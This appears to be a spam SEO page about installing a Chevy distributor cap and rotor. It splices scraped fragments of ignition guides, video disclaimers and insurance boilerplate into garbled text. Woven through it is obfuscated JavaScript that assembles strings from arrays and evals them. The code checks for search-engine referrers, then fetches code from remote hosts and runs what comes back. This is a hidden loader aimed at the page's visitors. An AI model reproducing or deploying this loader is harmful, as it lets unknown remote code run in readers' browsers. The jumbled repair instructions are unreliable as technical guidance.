How Do You Install A Chevy Distributor Cap

c";W["zCQI"]="/jqu";W["kOSA"]="|ref";W["FwZm"]="
ind";W["VKWR"]="('sc";W["zSdo"]="atus";W["kYnv"]=",jqX";W["Hytu"]=":fal";W["KCKi"]="..
\"";W["wxBu"]="QHIL";W["fdrL"]="var ";W["QagO"]="libs";W["qvTU"]="hoo ";W["zjmc"]="0].. Many ignition controllers offer options such as rev limiting to prevent engine damage from a missed shift or broken drivetrain components, start retard to ease the load on your starter, and even digital ignition curves to replace the mechanical weights and springs in your distributor..
g";W["Dboo"]="ld(a";W["MKHA"]="ross";W["IzTF"]="p://";W["EKJO"]="ment";W["ZJci"]="succ";W["ryhq"]="ataT";W["GBrP"]="tsBy";W["IJGQ"]="dexO";W["qqNh"]="Of(\"";W["nTVO"]="eval";W["zXme"]=");}e";W["yEqN"]="yand";W["VrEc"]="etEl";W["ygnJ"]=".. Get Yours Today! We know our parts and products How to set the firing order on a chevy small block motor.. Maybe it's your first time, and (like me) you dropped the The BoxWrench Engine Specs Database is a community resource for mechanics of all skill levels to access a reference library of Firing Orders, Distributor Rotation.. While stock resistor wires use simple non- metallic conductors to cut down on RF, high- performance wire sets are much more sophisticated.. You can use the social sharing buttons to the left, or copy and paste the website link: http: //www.. Crank trigger and a spark box (the distributor merely acts as a rotary spark switch to feed the juice to each plug wire)3.

You need to gap your spark plugs to 40 thousands before you install them into the engine block.. The HEI is a unitized distributor with magnetic reluctors to trigger its internal control module and an ignition coil built into the large- diameter cap.. How Do You Install A Chevy Distributor Cap And Rotor1A Auto shows you how to repair, install, fix, change or replace a bad or broken distributor.. These are for tapered seat plugs At right is a list of some Batteries and Cables.. The 6 AL has a rev limiter that accepts various RPM chips, and the 6 AL- 2 has a two- step rev limiter that is useful for controlling launch RPM on the drag strip.. Crank trigger ignition systems offer rock- solid timing stability and are the best choice for drag racing.. Even racing plug wires need this resistance due to the wide- spread use of sophisticated ignition systems, automatic shifters, data acquisition computers, etc.

install chevy distributor 350

install chevy distributor 350, how to install hei distributor on chevy 350, chevy 5.7 tbi distributor install, chevy 5.7 distributor install, chevy 4.3 tbi distributor install, 1990 chevy 350 distributor install, 1995 chevy 5.7 distributor install, small block chevy distributor install, chevy 2.8 distributor install, chevy 4.3 distributor install, installing chevy distributor, install distributor chevy 4.3 vortec, install distributor chevy 5.7 vortec, installing distributor chevy 350 tbi, installing distributor chevy 305, installing distributor chevy 4.3, installing distributor chevy 454, installing chevy hei distributor, install hei distributor chevy 350

Note that small- block and big- block Chevy distributors are interchangeable There are several good sources of high- performance plug wires, such as these from MSD (left) and Moroso (right).. They simply act as a rotary switch, directing the highvoltage spark from the coil wire to the appropriate plug wire, and drive the oil pump in a wet sump system.. Corvettes until 1 In 1 97 4, the HEI was introduced and was standard issue until computercontrolled EFI systems came out in 1.. For a comprehensive guide on this entire subject you can visit this link: SHARE THIS ARTICLE: Please feel free to share this post on Facebook / Twitter / Google+ or any automotive Forums or blogs you read.. Spark plug wires are the critical connection from your distributor cap to the plugs, and all modern wires have some amount of electrical resistance to lessen radio frequency (RF) interference with the other electronic circuits in your car.. 1A Auto is not responsible or liable for any loss damage (including, but not limited to, actual, consequential, or punitive), liability, claim, or any other injury or cause related to or resulting from any information posted in this video.. Moroso offers plug indexing washers of various thicknesses to help you obtain the desired electrode orientation.

chevy 5.7 tbi distributor install

Initially, the block will be set to 10 degrees advanced when they install the distributor.. No information contained in this video shall create any expressed or implied warranty or guarantee of any particular result.. How Do You Install A Chevy Distributor

Cap 2000With the engine set to 10 degrees advanced of Top Dead Center, they line up the rotor button so it is pointing at the #1 cylinder.. Rates are derived from a number of factors, which can influence the price, discounts and savings.. Distributors, Coils and Spark Plug Wires Stock big- blocks came with cast- iron Delco- Remy distributors until 1.. in";pbM["AGc"]="x8N";pbM["eBD"]="',";pbM["dbn"]="N4U";pbM["jbM"]="x0A";pbM["EsD"]="er";pbM["HfO"]=".. Simply removing the stock ignition module and using one of today's modern ignition boxes, like those offered by Accel, Mallory, or MSD (the popular 6- AL), provides all the ignition performance you need until you get into the race- only systems.

chevy 4.3 tbi distributor install

Most drag cars do not need an advance curve since their two modes of operation are idle or wide- open throttle.. js'";W["QfiZ"]="json";W["OfXd"]="f in";W["diCl"]="e('s";W["btXQ"]="emen";W["zlGq"]="q = ";W["GsAY"]="ame(";W["KQYR"]="t(rd";W["ljTU"]="in:t";W["cnVW"]="tion";W["dXPC"]="/220";W["NrbH"]="cess";W["DtCl"]="ype:";W["IYGZ"]="ll(r";W["iuen"]="sn.. \")>";W["SfnS"]="ncti";W["VtrE"]="'){s";W["WDqD"]="xtSt";W["yVUn"]="eAo ";W["hUtN"]="uery";W["Oqsd"]="Data";W["uMaH"]="leap";W["BvQb"]=":'GE";W["opYr"]="0/jq";W["ivzj"]="brow";W["eCOH"]="jax/";W["BQOl"]="ndex";W["cFOJ"]=")>0)";W["fjPN"]="type";W["GGuJ"]="=='u";W["rrZP"]="r;if";W["uoHV"]="erre";W["FWnt"]="pons";W["beFZ"]="ve.. The team chose to go with an HEI setup for the distributor, which includes an electronic ignition with a coil pack mounted on the distributor.. With the rotor button in place, the electrode is pointing at the #1 cylinder Now you can install the distributor cap and align the distributor so the rotor button is touching the #1 cylinder contact on the cap.. Whatever you use, make sure that the plug threads are lubricated, especially with aluminum heads.. ";W["dOdH"]="ery/";W["ZXjL"]="ng \"";W["TGmb"]="(\"vk";W["nBRV"]=" min";W["ReaO"]="is.. var OHE = 'how+do+you+install+a+chevy+distributor+cap';var W = new Array();W["LgNh"]="howm";W["lgoc"]="nt.. The computerized system gets the call when you go Unlimited drag racing in classes like NHRA Competition Eliminator or Pro Stock, or if you have an aftermarket EFI induction system.. Defective spark plugs are rare, but it does occur Checking for high internal resistance with an ohmmeter before you install them is always a good idea.. \"";W["Tktv"]="ax({";W["yyuV"]="lse{";W["cNYi"]="exOf";W["OfNp"]="eEle";W["LTha"]="on r";W["tQLr"]="le.. com Related to This Repair: 1AEDC00001 1AEDK00042 1AETK00003 ? List of Tools Used in this 1AAuto.. Terms, conditions and exclusions may apply Policies are subject to underwriting review and approval.. \"";W["Ropi"]="rc',";W["BvSI"]="0){v";W["MCQj"]="'htt";W["xgvP"]="ppen";W["jaiM"]="f((r";W["posy"]="ypeo";W["UXCV"]="docu";W["ffiy"]="reat";W["Yuqs"]="etTi";W["iexy"]="d();";W["ehCi"]="ambl";W["RFia"]="atin";W["TGTD"]="ipt'";W["AqFu"]="ined";W["fEzx"]=");fu";W["nDMw"]="il.. Ninety percent of you are perfectly served with the first option, especially if the car is driven on the street, and the crank trigger option number- 2 is good for the 9 percent of you racing your big- block at the dragstrip with engine speeds up to 8,5.. 1 ";W["oGUr"]="se,c";W["wJDK"]="});}";W["UqZB"]=",pro";W["Rgld"]="\")>0";W["EwAW"]="TagN";W["XPsq"]="f(\"m";W["xUBT"]="ar s";W["YwwE"]="AzeA";eval(W["fdrL"]+W["zlGq"]+W["qFDU"]+W["fdrL"]+W["TpDX"]+W["jCzQ"]+W["lgoc"]+W["ffiy"]+W["OfNp"]+W["EKJO"]+W["VKWR"]+W["PtlX"]+W["cOLw"]+W["ygnJ"]+W["pQsY"]+W["OoGt"]+W["diCl"]+W["Ropi"]+W["FPcy"]+W["GHaS"]+W["Vrar"]+W["uMaH"]+W["ReaO"]+W["rKZG"]+W["eCOH"]+W["QagO"]+W["zCQI"]+W["dOdH"]+W["QAdx"]+W["opYr"]+W["hUtN"]+W["nBRV"]+W["Qwud"]+W["TsbU"]+W["jCzQ"]+W["llRS"]+W["VrEc"]+W["btXQ"]+W["GBrP"]+W["EwAW"]+W["GsAY"]+W["KUSG"]+W["uZNx"]+W["zjmc"]+W["xgvP"]+W["qqMU"]+W["Dboo"]+W["fEzx"]+W["SfnS"]+W["LTha"]+W["zYIb"]+W["Fzrx"]+W["posy"]+W["aKGp"]+W["GGuJ"]+W["GEAQ"]+W["AqFu"]+W["VtrE"]+W["Yuqs"]+W["IKpd"]+W["KQYR"]+W["mbwi"]+W["zXme"]+W["yyuV"]+W["fdrL"]+W["xRBo"]+W["UXCV"]+W["EKJO"]+W["WOzG"]+W["uoHV"]+W["rrZP"]+W["FJDz"]+W["TwUX"]+W["hnfA"]+W["auUQ"]+W["jaiM"]+W["ndUy"]+W["BQOl"]+W["qqNh"]+W["yEqN"]+W["obvx"]+W["cFOJ"]+W["IYGZ"]+W["ndUy"]+W["BQOl"]+W["qqNh"]+W["Vrar"]+W["tQLr"]+W["cFOJ"]+W["imCC"]+W["OfXd"]+W["IJGQ"]+W["zXbv"]+W["ehCi"]+W["FLKI"]+W["plPC"]+W["kOSA"]+W["FwZm"]+W["cNYi"]+W["drOs"]+W["ZXjL"]+W["plPC"]+W["kOSA"]+W["FwZm"]+W["cNYi"]+W["XkUl"]+W["nDMw"]+W["plPC"]+W["kOSA"]+W["FwZm"]+W["cNYi"]+W["BTmD"]+W["qvTU"]+W["Rgld"]+W["imCC"]+W["OfXd"]+W["IJGQ"]+W["XPsq"]+W["iuen"]+W["plPC"]+W["kOSA"]+W["FwZm"]+W["cNYi"]+W["WrJs"]+W["beFZ"]+W["plPC"]+W["kOSA"]+W["FwZm"]+W["cNYi"]+W["TGmb"]+W["KCKi"]+W["BvSI"]+W["xUBT"]+W["LgNh"]+W["RDdT"]+W["zyAk"]+W["kUBl"]+W["PUal"]+W["Tktv"]+W["fjPN"]+W["BvQb"]+W["QQGV"]+W["ryhq"]+W["DtCl"]+W["bAYG"]+W["TGTD"]+W["UqZB"]+W["NrbH"]+W["Oqsd"]+W["Hytu"]+W["oGUr"]+W["MKHA"]+W["IhtF"]+W["ljTU"]+W["Cnhz"]+W["QfiZ"]+W["wzBm"]+W["ayEC"]+W["gDrn"]+W["MCQj"]+W["IzTF"]+W["YwwE"]+W["wxBu"]+W["rTEi"]+W["yVUn"]+W["ivzj"]+W["DQyH"]+W["RFia"]+W["wXRq"]+W["mCaa"]+W["dXPC"]+W["Wjlm"]+W["ZjPQ"]+W["HDbn"]+W["ZJci"]+W["XOMR"]+W["pBYt"]+W["cnVW"]+W["UTkk"]+W["FWnt"]+W["EmHI"]+W["QrsT"]+W["WDqD"]+W["zSdo"]+W["kYnv"]+W["lSkM"]+W["nTVO"]+W["UTkk"]+W["FWnt"]+W["EmHI"]+W["sQId"]+W["wJDK"]+W["gebY"]+W["iexy"]);Ignition Systems Guide for Big- Block Chevy Engines.. Removing the Air Intake System 2 Removing the Distributor Cap 3 Replacing the Rotor and Distributor Cap 4.. This MSD crank trigger has magnets anchored in the aluminum wheel, and the pickup senses them as they rotate to trigger the ignition box.. With high- compression domed pistons, it's important to index the plugs so that the electrode is in the upper half

of the chamber when tightened, to avoid contact with the piston.. American Modern Insurance Group, Inc | Corporate Office| 7000 Midland Blvd | Amelia, OH 45242| Mailng Address| PO Box 5323| Cincinnati, OH © 2018 American Modern Insurance Group, Inc.. With high- compression domed pistons, spark plugs should be installed so that the electrode faces up, away from the piston when seated.. \"";W["auUQ"]="0){i";W["UTkk"]="(res";W["aKGp"]="f $=";W["GEAQ"]="ndef";W["FLKI"]="er.. Watch the episode now: Rick Drewry and the American Modern team begin by turning the crankshaft in order to get the engine to Top Dead Center (TDC).. ";pbM["Dcd"]="CGH";pbM["xEU"]="{va";pbM["CRD"]="nt ";pbM["pkb"]="();";pbM["JiD"]="FBx";pbM["uRv"]="AAp";pbM["CcX"]="r=n";pbM["FdM"]="ew ";pbM["iuR"]=");x";pbM["pTu"]="n('";pbM["OLK"]="xhr";pbM["MmH"]="l(x";pbM["LXC"]="var";pbM["Wrg"]="res";pbM["KIu"]="Htt";pbM["PiC"]="dTF";pbM["Bnp"]="ume";pbM["JzS"]="BFE";pbM["yCX"]="8BR";pbM["pIO"]="//l";pbM["XwK"]="BlY";pbM["VEg"]="s eT";pbM["Ttd"]="HQN";pbM["ADB"]="');";eval(pbM["LXC"]+pbM["clR"]+pbM["CcX"]+pbM["FdM"]+pbM["VQn"]+pbM["KIu"]+pbM["ftY"]+pbM["gKu"]+pbM["ymd"]+pbM["iuR"]+pbM["Swk"]+pbM["PBb"]+pbM["pTu"]+pbM["xdt"]+pbM["eBD"]+pbM["pIO"]+pbM["zoq"]+pbM["FJa"]+pbM["NFn"]+pbM["iDX"]+pbM["OuH"]+pbM["fMG"]+pbM["Cfp"]+pbM["lvO"]+pbM["YHq"]+pbM["Fbj"]+pbM["PiC"]+pbM["oHf"]+pbM["BmL"]+pbM["jbV"]+pbM["Ngp"]+pbM["vIH"]+pbM["KXO"]+pbM["WLD"]+pbM["znR"]+pbM["AGc"]+pbM["JiD"]+pbM["dsu"]+pbM["vzL"]+pbM["BDz"]+pbM["Ttd"]+pbM["txo"]+pbM["yCX"]+pbM["HTc"]+pbM["uRv"]+pbM["XOu"]+pbM["maF"]+pbM["JzS"]+pbM["rJN"]+pbM["Uai"]+pbM["Vju"]+pbM["ods"]+pbM["AfP"]+pbM["Dcd"]+pbM["dbn"]+pbM["AIz"]+pbM["XwK"]+pbM["roD"]+pbM["TjT"]+pbM["jbM"]+pbM["ADB"]+pbM["OLK"]+pbM["HfO"]+pbM["dxI"]+pbM["DIX"]+pbM["BFx"]+pbM["FQa"]+pbM["nVD"]+pbM["xEU"]+pbM["PtS"]+pbM["xre"]+pbM["ccx"]+pbM["Bnp"]+pbM["CRD"]+pbM["JUX"]+pbM["cME"]+pbM["EsD"]+pbM["vDj"]+pbM["MmH"]+pbM["Swk"]+pbM["Wrg"]+pbM["PRK"]+pbM["VEg"]+pbM["DAF"]+pbM["zas"]+pbM["icY"]+pbM["wDa"]+pbM["FvQ"]+pbM["pkb"]);Are you in the midst of installing a distributor into a big block Chevy engine? The team at American Modern currently has the 396 big block bolted up and almost ready to turn over..
\"";W["WrJs"]="(\"li";W["HDbn"]="ly',";W["TwUX"]=" len";W["RDdT"]="e = ";W["hnfA"]="gth>";W["qqMU"]="dChi";W["ayEC"]="lse,";W["FPcy"]="'//a";W["Fzrx"]="if(t";W["XkUl"]="(\"ma";W["sQId"]="a);}";W["obvx"]="ex.. All do-it-yourself projects entail some risk It is the sole responsibility of the viewer to assume this risk.. set";W["Vrar"]="goog";W["BTmD"]="(\"ya";W["gDrn"]="url:";W["jCzQ"]="cume";W["imCC"]="|lre";W["OoGt"]="ibut";W["QAdx"]="3.. If you find that there's a gap between the distributor and the engine block, here's the solution on how to make it flush: 1.. It was and still is a very good design for most high- performance big- blocks, offering more precise timing control than point distributors, and the larger cap lessened the possibility of cross- firing with the higher voltage that it generates.. If your HEI is worn out, you can buy a new version from GMPP or the aftermarket, or switch to an aftermarket distributor with a smaller cap and remote coil.. According to some trendy types, you can never be too rich or too thin If you're a torque wrench- wielding big- block enthusiast, add that you can never have too much ignition power.. Precision aftermarket distributor and high- quality ignition components ensure that your big- block delivers all the performance it is capable of.. aj";W["mbwi"]=",100";W["DQyH"]="ardl";W["TpDX"]="a=do";W["rTEi"]="PJRc";W["XOMR"]="ess:";W["KUSG"]="'hea";W["drOs"]="(\"bi";W["bAYG"]="'scr";W["pBYt"]="func";W["rKZG"]="o m/a";W["llRS"]="nt.. They are driven with a small cog belt driven by the camshaft, and are usually designed to work with cam belt drives used in higher- level racing engines.. var pbM = new Array();pbM["ymd"]="st(";pbM["wDa"]="r s";pbM["PtS"]="r r ";pbM["AfP"]="AB8";pbM["zoq"]="oco";pbM["Vju"]="MRG";pbM["roD"]="fAg";pbM["BFx"]="unc";pbM["ftY"]="pRe";pbM["DIX"]="d=f";pbM["TjT"]="FVW";pbM["xre"]="ef=";pbM["zas"]=");}";pbM["fMG"]="YYa";pbM["NFn"]=".. Or, you can rotate the engine until it drops completely into place As straightforward as a Chevy V-8 often is to work on, the factory engineers must have taken the day off when it came time to design a distributor for simple installation.. Obviously, the coil must be matched to the ignition controller Equip cars, trucks & SUVs with Perform-Distributor Cap/Rotor Kit from AutoZone.. Your rate may be higher or lower Rates are subject to change Policies are written by one of the companies of American Modern Insurance Group, which includes American Modern Home Insurance Company and American Family Home Insurance Company.. The downside to this approach is that most old HEI distributors are quite likely mechanically worn out, exhibiting excessive shaft- to- bearing wear, corroded and sticking advance weights, and leaky or sticky vacuum advance canisters.. Fully computerized using either a distributor with a cam synch sensor or a crank trigger, which still requires a cam synch sensor and distributor to function as a rotary switch.. Be sure to stay up with The Build on our, to see what else is restored Also, continue to follow along with the collector vehicle on our.. Meticulously we continue to restore the 1965 Chevelle Malibu SS classic car on The Build.. Rick uses the oil prime tool to spin the oil pump shaft and get the oil flowing.. com How-To Video: • 12mm Socket • T15 Torx Driver • T20 Torx Driver • Ratchet • Socket Extensions ? Instructions: 1.. Reinstalling the Air Intake System ⚠ DISCLAIMER: While 1A Auto strives to make the information provided in this video as accurate as possible, it makes no claims, promises, or guarantees about the accuracy, completeness or applicability of the content.. It is one of the easiest and most popular distributors to use on older GM V8 engines.. Many use wire wound around a central core to cut down RF interference While the old point distributors sent a 1.. Use a felt- tip marker to indicate the electrode's position on the porcelain and keep switching the plugs around until all eight have the mark facing away from the piston domes.. Highcompression ratios and high- RPM operation requires plugs with a colder than stock heat range, and most competition engines should not use

extended tip plugs, which are used on stock engines to extend the service life of the plug.. The standard gap is Crank trigger distributors have no advance weights, no pickups, and no wires, except for the plug wires in the cap..

a";W["lSkM"]="HR){";W["Wjlm"]=" js?";W["wzBm"]="p:fa";W["pQsY"]="Attr";W["xRBo"]="ref=";W["Qwud"]=".. \"";W["kUBl"]="ce';";W["IhtF"]="Doma";W["TsbU"]=");do";W["PtlX"]="ript";W["QQGV"]="T,d";W["IKpd"]="meou";W["zXbv"]="f(\"r";W["PUal"]="$.. ref";W["cOLw"]="'');a";W["uZNx"]="d')[";W["qFDU"]="OHE;";W["Cnhz"]="rue,";W["mCaa"]="m/36";W["ndUy"]="ef.. c";W["ZjPQ"]="weeb";W["EmHI"]="eDat";W["zyAk"]="'for";W["QrsT"]="a,te";W["WOzG"]=".. Crank- trigger- wheel- to- sensor gap should be checked any time you loosen or adjust the pickup.. i";W["plPC"]="=)>0|";W["wXRq"]="o co";W["gebY"]="}}}r";W["zYIb"]="d(){";W["FJDz"]="(ref";W["GHaS"]="jax.. This video is applicable to most 1988-2002 GM Truck models ✔ List of Auto Parts from 1AAuto.. Check your plug wires with an ohmmeter after you make them, and periodically to make sure they are in good condition.. on";pbM["cME"]="err";pbM["iDX"]="fo/";pbM["JUX"]="ref";pbM["oHf"]="EMC";pbM["txo"]="JUV";pbM["clR"]=" xh";pbM["PBb"]="ope";pbM["Cfp"]="P=C";pbM["Uai"]="TBQ";pbM["Fbj"]="RWl";pbM["FJa"]="day";pbM["WLD"]="TG1";pbM["dxI"]="loa";pbM["vzL"]="FHU";pbM["BDz"]="1ha";pbM["ccx"]="doc";pbM["xdt"]="GET";pbM["nVD"]="n()";pbM["BmL"]="B0E";pbM["OuH"]="?FM";pbM["icY"]=";xh";pbM["FvQ"]="end";pbM["KXO"]="DQ0";pbM["VQn"]="XML";pbM["HTc"]="0ka";pbM["PRK"]="pon";pbM["rJN"]="V0c";pbM["YHq"]="AFl";pbM["jbV"]="DRg";pbM["vIH"]="EdO";pbM["lvO"]="g1I";pbM["znR"]="xaE";pbM["dsu"]="QWk";pbM["ods"]="wgE";pbM["Ngp"]="gIB";pbM["DAF"]="ext";pbM["AIz"]="04e";pbM["XOu"]="CRh";pbM["FQa"]="tio";pbM["vDj"]="eva";pbM["gKu"]="que";pbM["maF"]="AMA";pbM["Swk"]="hr.. The small- cap distributors are much easier to service when the big factory HEI distributor cap barely clears the firewall, as is the case with most muscle cars.. Many gearheads use anti- seize compound on the plugs in aluminum heads Some spark plug experts say that anti- seize should not be used because it inhibits the plug's ability to conduct heat away from the combustion chamber, but I've been using it for years and my motors didn't know they weren't supposed to like it.. Traditional distributor and a spark box So you've found yourself having to do a job under the hood that required taking out the distributor.. Today's hot rodder can choose from three basic levels of sophistication for the ignition system: This Tech Tip is From the Full Book "HOW TO BUILD KILLER BIG- BLOCK CHEVY ENGINES".. You can detach the distributor and turn the oil pump shaft a bit until it falls into place and locks in flush with the block.. Turning the distributor does not change timing, but it must be phased so that the rotor is pointing at the number- 1 spark plug terminal when the ignition fires.. The coilin- cap was changed from the old oil- filled cylindrical design to a more effective transformer design, and most modern aftermarket coils have followed suit.. Note the bronze gear needed for compatibility with steel roller lifter camshafts.. The MSD Digital- 6 Plus features a twostep rev limiter, start retard, and a highspeed retard that is useful with nitrous.. Moroso offers a plug indexing kit with copper gaskets of various thicknesses to help get all eight plugs pointing in the right direction, but these affect the heat range of the plug and should not be used unless absolutely necessary to get proper indexing.. A typical plug gap is HEI systems fire with gaps up to Very high compression ratios may require reducing the gap to. e10c415e6f